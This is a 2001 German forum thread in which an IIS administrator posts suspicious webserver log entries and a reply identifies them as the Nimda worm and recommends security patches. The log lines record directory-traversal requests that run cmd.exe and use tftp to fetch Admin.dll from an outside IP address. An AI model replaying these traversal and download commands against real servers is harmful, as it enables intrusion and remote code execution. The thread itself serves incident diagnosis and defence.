DevTrain Forum - Einträge im Logfile

Forum: IIS Admin | Thema: Einträge im Logfile | Von: G. Guest ( 21.09.2001 07:47)

		nachdem mein Webserver seltsames verhalten gezeigt hat, hab ich im Logfile dubisoe einträge ausgemacht. Ist das ein Virus? wie kan man das stoppen?
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 200 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20c:\Admin.dll 502 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20d:\Admin.dll 502 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20e:\Admin.dll 502 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%5c../Admin.dll - 500 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 200 -
2001-09-20 14:36:02 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20c:\Admin.dll 502 -
2001-09-20 14:36:03 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20d:\Admin.dll 502 -
2001-09-20 14:36:03 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+tftp%20-i%20212.6.196.182%20GET%20Admin.dll%20e:\Admin.dll 502 -
2001-09-20 14:36:03 127.23.28.72 - 127.23.28.72 80 GET /scripts/..%2f../Admin.dll - 500 -


	

Betreff Von Datum

RE:Einträge im Logfile

das ist nimda.<br>Spiel mal die entsprechenden Security Patches ein

G. Guest 19.10.2001 13:25

Antworten Vorsicht bei der Eingabe: Die Zeichen ' oder -- sind nicht erlaubt!